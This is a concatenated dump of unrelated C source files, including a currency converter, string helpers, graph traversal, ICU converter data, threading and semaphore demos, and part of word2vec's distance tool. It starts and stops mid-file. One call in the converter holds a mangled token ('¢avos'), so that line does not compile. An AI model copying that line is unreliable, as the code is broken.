int obtenerDolares(double entrada, int *dolares, int *centavos);
/**
* Obtiene los Yenes a partir de la entrada.
*
* @param entrada Euros introducidos por el usuario
* @return no devuelve nada
*/
int obtenerYenes(double entrada);
/**
* Obtiene las Libras y los Peniques a partir de la entrada.
*
* @param entrada Euros introducidos por el usuario
* @param libras Libras obtenidas - por referencia
* @param peniques Peniques obtenidos - por referencia
* @return no devuelve nada
*/
int obtenerLibras(double entrada, int *libras, int *peniques);
/**
* Obtiene los Francos y los Rappen a partir de la entrada.
*
* @param entrada Euros introducidos por el usuario
* @param francos Francos obtenidos - por referencia
* @param peniques Rappen obtenidos - por referencia
* @return no devuelve nada
*/
int obtenerFrancos(double entrada, int *francos, int *rappen);
int main(){
double entrada;
int dolares = 0;
int centavos = 0;
int yenes = 0;
int libras = 0;
int peniques = 0;
int francos = 0;
int rappen = 0;
printf("\n---------------------------------------------------------------------\n");
printf("Programa para conversion de EUR en USD,YEN,GBP y CHF\n");
printf("---------------------------------------------------------------------");
printf("\n\tA continuación deberá introducir una cantidad de euros con el");
printf("\n\tformato siguiente: XXXXXXX.XX el numero de decimales será de 2");
printf("\n\tIntroduzca los euros a convertir:");
scanf("%le", &entrada);
obtenerDolares(entrada,&dolares,¢avos);
yenes = obtenerYenes(entrada);
obtenerLibras(entrada,&libras,&peniques);
obtenerFrancos(entrada,&francos,&rappen);
printf("\n\t%.2f Euros equivalen a:\n\n",entrada);
printf("\t\t%d Dolares y %d Centavos.\n",dolares,centavos);
printf("\t\t%d Yenes.\n", yenes);
printf("\t\t%d Libras y %d Peniques.\n",libras,peniques);
printf("\t\t%d Francos y %d Rappens.\n\n",francos,rappen);
return 0;
}
int obtenerDolares(double entrada, int *dolares, int *centavos) {
const int DIVISION = 100;
const double EUR_USD = 1.1416;
double dolaresDouble = entrada * EUR_USD;
*dolares = (int) dolaresDouble;
*centavos = (dolaresDouble - *dolares) * DIVISION;
return 0;
}
int obtenerYenes(double entrada) {
const double EUR_JPY = 124.34;
return entrada * EUR_JPY;
}
int obtenerLibras(double entrada, int *libras, int *peniques) {
const int DIVISION = 100;
const double EUR_GBP = 0.8860;
double librasDouble = entrada * EUR_GBP;
*libras = (int) librasDouble;
*peniques = (librasDouble - *libras) * DIVISION;
return 0;
}
int obtenerFrancos(double entrada, int *francos, int *rappen) {
const int DIVISION = 100;
const double EUR_CHF = 1.1297;
double francosDouble = entrada * EUR_CHF;
*francos = (int) francosDouble;
*rappen = (francosDouble - *francos) * DIVISION;
return 0;
} |
the_stack_data/119505.c | #include <stdio.h>
int ft_str_is_lowercase(char *str);
int main(void)
{
char str[7] = "12";
printf("%d", ft_str_is_lowercase(str));
}
|
the_stack_data/1187392.c | #include "sqlite3.h"
extern sqlite3_vfs *sqlite3_memvfs(void);
int sqlite3_os_init()
{
sqlite3_vfs_register(sqlite3_memvfs(), 0);
return 0;
}
|
the_stack_data/250722.c | a;
*b;
c() {
int d;
b = e();
if (a && b[0] == 'Z')
d = f();
if (b[0])
g(b);
h(d);
}
|
the_stack_data/97012737.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_str_is_numeric.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: kkalnins <[email protected]. +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/02/17 21:33:34 by kkalnins #+# #+# */
/* Updated: 2021/02/17 23:19:39 by kkalnins ### ########.fr */
/* */
/* ************************************************************************** */
int ft_str_is_numeric(char *str)
{
int i;
i = 0;
while (str[i])
{
if (str[i] < '0' || str[i] > '9')
return (0);
i++;
}
return (1);
}
|
the_stack_data/114201698.c | /**
* Count the number of occurrences of each digit,
* of white space characters, and of all other characters.
*
* Created by hengxin on 10/16/21.
*/
#include <stdio.h>
#define LEN 10
int main() {
int digit_count[LEN] = {0};
int ws_count = 0;
int other_count = 0;
/**
* "switch-case" version
* Note: fails to run this program in "Run"
* See: https://youtrack.jetbrains.com/issue/CPP-5704
* Use "Terminal" instead.
* Or use the "input redirection" technique.
*/
char ch;
while (scanf("%c", &ch) != EOF) {
switch (ch) {
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
digit_count[ch - '0']++;
break;
case ' ': case '\n': case '\t':
ws_count++;
break;
default:
other_count++;
break;
}
}
printf("digit_count:");
for (int i = 0; i < LEN; i++) {
printf(" %d", digit_count[i]);
}
printf("\nws_count: %d\n", ws_count);
printf("other_count: %d\n", other_count);
return 0;
}
|
the_stack_data/598229.c |
/*
Depth first search (DFS) algorithm starts with the initial node of the graph G, and then goes to deeper and deeper until we find the goal node or the node which has no children. The algorithm, then backtracks from the dead end towards the most recent node that is yet to be completely unexplored.
*/
#include <stdio.h>
#include <stdlib.h>
int n;
int vis[100000];
//V is adjacency matrix of the given graph
int v[100][100];
void DFS(int node)
{
int j;
//Printing the vertices
printf("%d ", node);
//Marking it to as visited
vis[node] = 1;
for (j = 1; j <= n; j++)
if (!vis[j] && v[node][j] == 1)
DFS(j); //Going deep in the graph until we reach leaf element
}
int main()
{
int i;
printf("Enter the value of vertices:-");
scanf("%d", &n);
for (i = 0; i < n; i++)
{
int x, y;
printf("Enter edge %d: ", i);
//For directed Graph x is origin and y is destin.
scanf("%d %d", &x, &y);
v[x][y] = 1;
}
//Intiailzation of vis array as 0(non-visited vertices)
for (i = 0; i < 100000; i++)
vis[i] = 0;
printf("DFS of Directed Graph:-\n");
DFS(1);
}
/*
Sample Input & Ouput:-
Enter the value of vertices and egde:-7
Enter edge 0: 1 2
Enter edge 1: 1 3
Enter edge 2: 2 4
Enter edge 3: 2 5
Enter edge 4: 2 6
Enter edge 5: 2 7
Enter edge 6: 7 3
DFS of Undirected Graph:-
1 2 4 5 6 7 3
*/ |
the_stack_data/243892884.c | #include <assert.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[256] = {0};
assert(getentropy(buf, 256) == 0);
for (int i = 0; i < 256; i++) {
if (buf[i] != 0) {
return EXIT_SUCCESS;
}
}
return EXIT_FAILURE;
}
|
the_stack_data/140764678.c | a, b, c;
d() {
if (c)
b = a;
if (b)
c = 0;
}
|
the_stack_data/67832.c | #include <stdio.h>
int main(){
int a=0, n=0, soma=0, cont=0;
scanf("%d", &a);
while(1){
scanf("%d", &n);
if(n>0){
while(cont<n){
soma=soma+cont+a;
cont++;
}
break;
}
}
printf("%d\n", soma);
return 0;
}
|
the_stack_data/14199539.c | /*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD: head/sys/libkern/ffsl.c 128019 2004-04-07 20:46:16Z imp $
*/
#include <sys/cdefs.h>
#if !defined(_KERNEL) && !defined(_STANDALONE)
#include <string.h>
#else
#include <lib/libkern/libkern.h>
#endif
/*
* Find First Set bit
*/
int
ffsl(long mask)
{
int bit;
if (mask == 0)
return (0);
for (bit = 1; !(mask & 1); bit++)
mask = (unsigned long)mask >> 1;
return (bit);
}
|
the_stack_data/106449.c | //file: _insn_test_v1ddotpua_X0.c
//op=248
#include <stdio.h>
#include <stdlib.h>
void func_exit(void) {
printf("%s\n", __func__);
exit(0);
}
void func_call(void) {
printf("%s\n", __func__);
exit(0);
}
unsigned long mem[2] = { 0xf81d7875fb56ceb1, 0x6d228375c43e27fe };
int main(void) {
unsigned long a[4] = { 0, 0 };
asm __volatile__ (
"moveli r26, 5758\n"
"shl16insli r26, r26, -26380\n"
"shl16insli r26, r26, 10010\n"
"shl16insli r26, r26, 27850\n"
"moveli r35, -28917\n"
"shl16insli r35, r35, -6384\n"
"shl16insli r35, r35, -11771\n"
"shl16insli r35, r35, -16008\n"
"moveli r48, -8573\n"
"shl16insli r48, r48, 9318\n"
"shl16insli r48, r48, -9607\n"
"shl16insli r48, r48, 22154\n"
"{ v1ddotpua r26, r35, r48 ; fnop }\n"
"move %0, r26\n"
"move %1, r35\n"
"move %2, r48\n"
:"=r"(a[0]),"=r"(a[1]),"=r"(a[2]));
printf("%016lx\n", a[0]);
printf("%016lx\n", a[1]);
printf("%016lx\n", a[2]);
return 0;
}
|
the_stack_data/90766611.c | #include <stdio.h>
int main()
{
int a;
int b;
int *d;
int *e;
d = &a;
e = &b;
a = 12;
b = 34;
printf("%d\n", *d);
printf("%d\n", *e);
printf("%d\n", d == e);
printf("%d\n", d != e);
d = e;
printf("%d\n", d == e);
printf("%d\n", d != e);
return 0;
}
/* vim: set expandtab ts=4 sw=3 sts=3 tw=80 :*/
|
the_stack_data/31388444.c | #ifndef IN_GENERATED_CCODE
#define IN_GENERATED_CCODE
#define U_DISABLE_RENAMING 1
#include "unicode/umachine.h"
#endif
U_CDECL_BEGIN
const struct {
double bogus;
uint8_t bytes[2832];
} icudt57l_ibm_4909_P100_1999_cnv={ 0.0, {
128,0,218,39,20,0,0,0,0,0,2,0,99,110,118,116,
6,2,0,0,57,1,0,0,32,67,111,112,121,114,105,103,
104,116,32,40,67,41,32,50,48,49,54,44,32,73,110,116,
101,114,110,97,116,105,111,110,97,108,32,66,117,115,105,110,
101,115,115,32,77,97,99,104,105,110,101,115,32,67,111,114,
112,111,114,97,116,105,111,110,32,97,110,100,32,111,116,104,
101,114,115,46,32,65,108,108,32,82,105,103,104,116,115,32,
82,101,115,101,114,118,101,100,46,32,0,0,0,0,0,0,
100,0,0,0,105,98,109,45,52,57,48,57,95,80,49,48,
48,45,49,57,57,57,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
45,19,0,0,0,2,1,1,26,0,0,0,1,0,1,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,4,4,31,0,1,0,0,0,0,0,0,0,
32,4,0,0,32,4,0,0,64,6,0,0,0,0,0,0,
228,3,0,0,0,0,0,128,1,0,0,128,2,0,0,128,
3,0,0,128,4,0,0,128,5,0,0,128,6,0,0,128,
7,0,0,128,8,0,0,128,9,0,0,128,10,0,0,128,
11,0,0,128,12,0,0,128,13,0,0,128,14,0,0,128,
15,0,0,128,16,0,0,128,17,0,0,128,18,0,0,128,
19,0,0,128,20,0,0,128,21,0,0,128,22,0,0,128,
23,0,0,128,24,0,0,128,25,0,0,128,26,0,0,128,
27,0,0,128,28,0,0,128,29,0,0,128,30,0,0,128,
31,0,0,128,32,0,0,128,33,0,0,128,34,0,0,128,
35,0,0,128,36,0,0,128,37,0,0,128,38,0,0,128,
39,0,0,128,40,0,0,128,41,0,0,128,42,0,0,128,
43,0,0,128,44,0,0,128,45,0,0,128,46,0,0,128,
47,0,0,128,48,0,0,128,49,0,0,128,50,0,0,128,
51,0,0,128,52,0,0,128,53,0,0,128,54,0,0,128,
55,0,0,128,56,0,0,128,57,0,0,128,58,0,0,128,
59,0,0,128,60,0,0,128,61,0,0,128,62,0,0,128,
63,0,0,128,64,0,0,128,65,0,0,128,66,0,0,128,
67,0,0,128,68,0,0,128,69,0,0,128,70,0,0,128,
71,0,0,128,72,0,0,128,73,0,0,128,74,0,0,128,
75,0,0,128,76,0,0,128,77,0,0,128,78,0,0,128,
79,0,0,128,80,0,0,128,81,0,0,128,82,0,0,128,
83,0,0,128,84,0,0,128,85,0,0,128,86,0,0,128,
87,0,0,128,88,0,0,128,89,0,0,128,90,0,0,128,
91,0,0,128,92,0,0,128,93,0,0,128,94,0,0,128,
95,0,0,128,96,0,0,128,97,0,0,128,98,0,0,128,
99,0,0,128,100,0,0,128,101,0,0,128,102,0,0,128,
103,0,0,128,104,0,0,128,105,0,0,128,106,0,0,128,
107,0,0,128,108,0,0,128,109,0,0,128,110,0,0,128,
111,0,0,128,112,0,0,128,113,0,0,128,114,0,0,128,
115,0,0,128,116,0,0,128,117,0,0,128,118,0,0,128,
119,0,0,128,120,0,0,128,121,0,0,128,122,0,0,128,
123,0,0,128,124,0,0,128,125,0,0,128,126,0,0,128,
127,0,0,128,128,0,0,128,129,0,0,128,130,0,0,128,
131,0,0,128,132,0,0,128,133,0,0,128,134,0,0,128,
135,0,0,128,136,0,0,128,137,0,0,128,138,0,0,128,
139,0,0,128,140,0,0,128,141,0,0,128,142,0,0,128,
143,0,0,128,144,0,0,128,145,0,0,128,146,0,0,128,
147,0,0,128,148,0,0,128,149,0,0,128,150,0,0,128,
151,0,0,128,152,0,0,128,153,0,0,128,154,0,0,128,
155,0,0,128,156,0,0,128,157,0,0,128,158,0,0,128,
159,0,0,128,160,0,0,128,24,32,0,128,25,32,0,128,
163,0,0,128,172,32,0,128,254,255,96,128,166,0,0,128,
167,0,0,128,168,0,0,128,169,0,0,128,254,255,96,128,
171,0,0,128,172,0,0,128,173,0,0,128,254,255,96,128,
21,32,0,128,176,0,0,128,177,0,0,128,178,0,0,128,
179,0,0,128,180,0,0,128,133,3,0,128,134,3,0,128,
135,3,0,128,136,3,0,128,137,3,0,128,138,3,0,128,
187,0,0,128,140,3,0,128,189,0,0,128,142,3,0,128,
143,3,0,128,144,3,0,128,145,3,0,128,146,3,0,128,
147,3,0,128,148,3,0,128,149,3,0,128,150,3,0,128,
151,3,0,128,152,3,0,128,153,3,0,128,154,3,0,128,
155,3,0,128,156,3,0,128,157,3,0,128,158,3,0,128,
159,3,0,128,160,3,0,128,161,3,0,128,254,255,96,128,
163,3,0,128,164,3,0,128,165,3,0,128,166,3,0,128,
167,3,0,128,168,3,0,128,169,3,0,128,170,3,0,128,
171,3,0,128,172,3,0,128,173,3,0,128,174,3,0,128,
175,3,0,128,176,3,0,128,177,3,0,128,178,3,0,128,
179,3,0,128,180,3,0,128,181,3,0,128,182,3,0,128,
183,3,0,128,184,3,0,128,185,3,0,128,186,3,0,128,
187,3,0,128,188,3,0,128,189,3,0,128,190,3,0,128,
191,3,0,128,192,3,0,128,193,3,0,128,194,3,0,128,
195,3,0,128,196,3,0,128,197,3,0,128,198,3,0,128,
199,3,0,128,200,3,0,128,201,3,0,128,202,3,0,128,
203,3,0,128,204,3,0,128,205,3,0,128,206,3,0,128,
254,255,96,128,128,0,64,0,64,0,64,0,64,0,64,0,
64,0,64,0,192,0,64,0,64,0,64,0,64,0,64,0,
64,0,64,0,64,0,64,0,64,0,64,0,64,0,64,0,
64,0,64,0,64,0,64,0,64,0,64,0,64,0,64,0,
64,0,64,0,64,0,64,0,64,0,64,0,64,0,64,0,
64,0,64,0,64,0,64,0,64,0,64,0,64,0,64,0,
64,0,64,0,64,0,64,0,64,0,64,0,64,0,64,0,
64,0,64,0,64,0,64,0,64,0,64,0,64,0,64,0,
64,0,208,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,64,0,80,0,96,0,112,0,128,0,144,0,
160,0,176,0,192,0,208,0,224,0,240,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,254,0,14,1,30,1,46,1,62,1,78,1,
94,1,110,1,0,0,121,1,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,131,1,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,146,1,162,1,178,1,194,1,210,1,226,1,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,15,1,15,2,15,3,15,4,15,5,15,
6,15,7,15,8,15,9,15,10,15,11,15,12,15,13,15,
14,15,15,15,16,15,17,15,18,15,19,15,20,15,21,15,
22,15,23,15,24,15,25,15,26,15,27,15,28,15,29,15,
30,15,31,15,32,15,33,15,34,15,35,15,36,15,37,15,
38,15,39,15,40,15,41,15,42,15,43,15,44,15,45,15,
46,15,47,15,48,15,49,15,50,15,51,15,52,15,53,15,
54,15,55,15,56,15,57,15,58,15,59,15,60,15,61,15,
62,15,63,15,64,15,65,15,66,15,67,15,68,15,69,15,
70,15,71,15,72,15,73,15,74,15,75,15,76,15,77,15,
78,15,79,15,80,15,81,15,82,15,83,15,84,15,85,15,
86,15,87,15,88,15,89,15,90,15,91,15,92,15,93,15,
94,15,95,15,96,15,97,15,98,15,99,15,100,15,101,15,
102,15,103,15,104,15,105,15,106,15,107,15,108,15,109,15,
110,15,111,15,112,15,113,15,114,15,115,15,116,15,117,15,
118,15,119,15,120,15,121,15,122,15,123,15,124,15,125,15,
126,15,127,15,128,15,129,15,130,15,131,15,132,15,133,15,
134,15,135,15,136,15,137,15,138,15,139,15,140,15,141,15,
142,15,143,15,144,15,145,15,146,15,147,15,148,15,149,15,
150,15,151,15,152,15,153,15,154,15,155,15,156,15,157,15,
158,15,159,15,160,15,0,0,0,0,163,15,0,0,0,0,
166,15,167,15,168,15,169,15,0,0,171,15,172,15,173,15,
0,0,0,0,176,15,177,15,178,15,179,15,180,15,0,0,
0,0,183,8,0,0,0,0,0,0,187,15,0,0,189,15,
0,0,0,0,0,0,0,0,0,0,181,15,182,15,183,15,
184,15,185,15,186,15,0,0,188,15,0,0,190,15,191,15,
192,15,193,15,194,15,195,15,196,15,197,15,198,15,199,15,
200,15,201,15,202,15,203,15,204,15,205,15,206,15,207,15,
208,15,209,15,0,0,211,15,212,15,213,15,214,15,215,15,
216,15,217,15,218,15,219,15,220,15,221,15,222,15,223,15,
224,15,225,15,226,15,227,15,228,15,229,15,230,15,231,15,
232,15,233,15,234,15,235,15,236,15,237,15,238,15,239,15,
240,15,241,15,242,15,243,15,244,15,245,15,246,15,247,15,
248,15,249,15,250,15,251,15,252,15,253,15,254,15,0,0,
0,0,0,0,0,0,0,0,0,0,246,8,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
175,15,0,0,0,0,161,15,162,15,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,164,15,0,0,0,0,0,0,33,8,34,8,35,8,
36,8,37,8,38,8,39,8,40,8,41,8,42,8,43,8,
44,8,45,8,46,8,47,8,48,8,49,8,50,8,51,8,
52,8,53,8,54,8,55,8,56,8,57,8,58,8,59,8,
60,8,61,8,62,8,63,8,64,8,65,8,66,8,67,8,
68,8,69,8,70,8,71,8,72,8,73,8,74,8,75,8,
76,8,77,8,78,8,79,8,80,8,81,8,82,8,83,8,
84,8,85,8,86,8,87,8,88,8,89,8,90,8,91,8,
92,8,93,8,94,8,95,8,96,8,97,8,98,8,99,8,
100,8,101,8,102,8,103,8,104,8,105,8,106,8,107,8,
108,8,109,8,110,8,111,8,112,8,113,8,114,8,115,8,
116,8,117,8,118,8,119,8,120,8,121,8,122,8,123,8,
124,8,125,8,126,8,0,0,170,170,170,170,170,170,170,170
}
};
U_CDECL_END
|
the_stack_data/184518733.c | #include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
void *thread_function(void *arg);
char message[] = "Hello World";
int thread_finished = 0;
int main() {
int res;
pthread_t a_thread;
void *thread_result;
pthread_attr_t thread_attr;
res = pthread_attr_init(&thread_attr);
if (res != 0) {
perror("Attribute creation failed");
exit(EXIT_FAILURE);
}
res = pthread_attr_setdetachstate(&thread_attr, PTHREAD_CREATE_DETACHED);
if (res != 0) {
perror("Setting detached attribute failed");
exit(EXIT_FAILURE);
}
res = pthread_create(&a_thread, &thread_attr, thread_function, (void *)message);
if (res != 0) {
perror("Thread creation failed");
exit(EXIT_FAILURE);
}
(void)pthread_attr_destroy(&thread_attr);
while(!thread_finished) {
printf("Waiting for thread to say it's finished...\n");
sleep(1);
}
printf("Other thread finished, bye!\n");
exit(EXIT_SUCCESS);
}
void *thread_function(void *arg) {
printf("thread_function is running. Argument was %s\n", (char *)arg);
sleep(4);
printf("Second thread setting finished flag, and exiting now\n");
thread_finished = 1;
pthread_exit(NULL);
}
|
the_stack_data/48576512.c | /*
* Copyright (c) 2013 - Facebook.
* All rights reserved.
*/
enum week{ sunday, monday, tuesday, wednesday=0, thursday, friday, saturday};
int main(){
enum week today;
today=wednesday;
today=monday;
today=today+4;
today=(enum week) tuesday+1;
int i = tuesday+(friday-sunday);
return 0;
}
|
the_stack_data/168892932.c | #include <stdlib.h>
#include <string.h>
#include <stdio.h>
#define LETTERS_COUNT 26
#define DIGITS_COUNT 10
#define LETTERS_COUNT 26
#define DIGITS_COUNT 10
char * reformat(char * s){
int i = 0, j = 0;
int lettersCountingArr[LETTERS_COUNT] = {0};
int digitsCountingArr[DIGITS_COUNT] = {0};
int lettersCounter = 0;
int digitsCounter = 0;
int difBetweenDigitsAndLettersCounts;
int totalStrSize;
char c;
char* reformatedS;
char* cursor;
while(*s != '\0')
{
c = *s;
if(c - '0' >= 0 && c - '0' <= 9)
{
++digitsCountingArr[c - '0'];
++digitsCounter;
}
else
{
++lettersCountingArr[c - 'a'];
++lettersCounter;
}
++s;
}
difBetweenDigitsAndLettersCounts = digitsCounter - lettersCounter;
if(difBetweenDigitsAndLettersCounts != 1
&& difBetweenDigitsAndLettersCounts != -1
&& difBetweenDigitsAndLettersCounts != 0)
{
reformatedS = malloc(1);
*reformatedS = '\0';
return reformatedS;
}
totalStrSize = digitsCounter + lettersCounter;
reformatedS = malloc(totalStrSize + 1);
cursor = reformatedS;
while(totalStrSize-- > 0)
{
for(; i < LETTERS_COUNT; ++i)
{
if(lettersCountingArr[i] > 0)
{
break;
}
}
*cursor++ = i + 'a';
if(i != LETTERS_COUNT)
{
--lettersCountingArr[i];
}
for(; j < DIGITS_COUNT; ++j)
{
if(digitsCountingArr[j] > 0)
{
break;
}
}
*cursor++ = j + '0';
if(j != DIGITS_COUNT)
{
--digitsCountingArr[j];
}
}
*cursor = '\0';
return reformatedS;
}
int main(void)
{
printf("%s", reformat("a0b1c2"));
return 0;
}
|
the_stack_data/76699539.c | #include <stdio.h>
#include <math.h>
int main()
{
double a,b;
(void) scanf("%lf%lf", &a,&b);
printf("%lf", pow(a,b));
return 0;
}
|
the_stack_data/120087.c | #include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
int main(void)
{
int k, r;
union semun {
int val;
struct semid_ds *buf;
unsigned short int *array;
struct seminfo *__buf;
} sd;
struct semid_ds sd_buf;
k = semget(IPC_PRIVATE, 10, IPC_CREAT | 0666 );
printf("semget(IPC_CREAT) = %d\n", k);
if (k < 0) {
fprintf(stderr, "semget failed: %s\n", strerror(errno));
return 1;
}
sd.buf = &sd_buf;
r = semctl(k, 0, IPC_STAT, sd);
printf("semctl(k) = %d\n", r);
if (r < 0) {
perror("semctl IPC_STAT failed");
return 1;
}
printf("sem_nsems = %lu\n", sd_buf.sem_nsems);
if (sd_buf.sem_nsems != 10) {
fprintf(stderr, "failed: incorrect sem_nsems!\n");
return 1;
}
printf("succeeded\n");
return 0;
}
|
the_stack_data/28536.c | // Copyright 2013 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include <stdio.h>
#include <string.h>
#include <math.h>
#include <stdlib.h>
const long long max_size = 2000; // max length of strings
const long long N = 30; // number of closest words that will be shown
const long long max_w = 50; // max length of vocabulary entries
int main(int argc, char **argv) {
FILE *f;
char st1[max_size];
char *bestw[N];
char file_name[max_size], st[100][max_size];
float dist, len, bestd[N], vec[max_size];
long long words, size, a, b, c, d, cn, bi[100];
float *M;
char *vocab;
if (argc < 2) {
printf("Usage: ./distance <FILE>\nwhere FILE contains word projections in the BINARY FORMAT\n");
return 0;
}
strcpy(file_name, argv[1]);
f = fopen(file_name, "rb");
if (f == NULL) {
printf("Input file not found\n");
return -1;
}
fscanf(f, "%lld", &words);
fscanf(f, "%lld", &size);
vocab = (char *)malloc((long long)words * max_w * sizeof(char));
for (a = 0; a < N; a++) bestw[a] = (char *)malloc(max_size * sizeof(char));
M = (float *)malloc((long long)words * (long long)size * sizeof(float));
if (M == NULL) {
printf("Cannot allocate memory: %lld MB %lld %lld\n", (long long)words * size * sizeof(float) / 1048576, words, size);
return -1;
}
for (b = 0; b < words; b++) {
a = 0;
while (1) {
vocab[b * max_w + a] = fgetc(f);
if (feof(f) || (vocab[b * max_w + a] == ' ')) break;
if ((a < max_w) && (vocab[b * max_w + a] != '\n')) a++;
}
vocab[b * max_w + a] = 0;
for (a = 0; a < size; a++) fread(&M[a + b * size], sizeof(float), 1, f);
len = 0;
for (a = 0; a < size; a++) len += M[a + b * size] * M[a + b * size];
len = sqrt(len);
for (a = 0; a < size; a++) M[a + b * size] /= len;
}
fclose(f);
while (1) {
for (a = 0; a < N; a++) bestd[a] = 0;
for (a = 0; a < N; a++) bestw[a][0] = 0;
printf("Enter word or sentence (EXIT to break): ");
a = 0;
while (1) {
st1[a] = fgetc(stdin);
if ((st1[a] == '\n') || (a >= max_size - 1)) {
st1[a] = 0;
break;
}
a++;
}
if (!strcmp(st1, "EXIT")) break;
cn = 0;
b = 0;
c = 0;
while (1) {
st[cn][b] = st1[c];
b++;
c++;
st[cn][b] = 0;
if (st1[c] == 0) break;
if (st1[c] == ' ') {
cn++;
b = 0;
c++;
}
}
cn++;
for (a = 0; a < cn; a++) {
for (b = 0; b < words; b++) if (!strcmp(&vocab[b * max_w], st[a])) break;
if (b == words) b = -1;
bi[a] = b;
printf("\nWord: %s Position in vocabulary: %lld\n", st[a], bi[a]);
if (b == -1) {
printf("Out of dictionary word!\n");
break;
}
}
if (b == -1) continue;
printf("\n Word Cosine distance\n------------------------------------------------------------------------\n");
for (a = 0; a < size; a++) vec[a] = 0;
for (b = 0; b < cn; b++) {
if (bi[b] == -1) continue;
for (a = 0; a < size; a++) vec[a] += M[a + bi[b] * size];
}
len = 0;
for (a = 0; a < size; a++) len += vec[a] * vec[a];
len = sqrt(len);
for (a = 0; a < size; a++) vec[a] /= len;
for (a = 0; a < N; a++) bestd[a] = -1;
for (a = 0; a < N; a++) bestw[a][0] = 0;
for (c = 0; c < words; c++) {
a = 0;
for (b = 0; b < cn; b++) if (bi[b] == c) a = 1;
if (a == 1) continue;
dist = 0;
for (a = 0; a < size; a++) dist += vec[a] * M[a + c * size];
for (a = 0; a < N; a++) {
if (dist > bestd[a]) {
for (d = N - 1; d > a; d--) {
bestd[d] = bestd[d - 1];
strcpy(bestw[d], bestw[d - 1]);
}
bestd[a] = dist;
strcpy(bestw[a], &vocab[c * max_w]);
break;
}
}
}
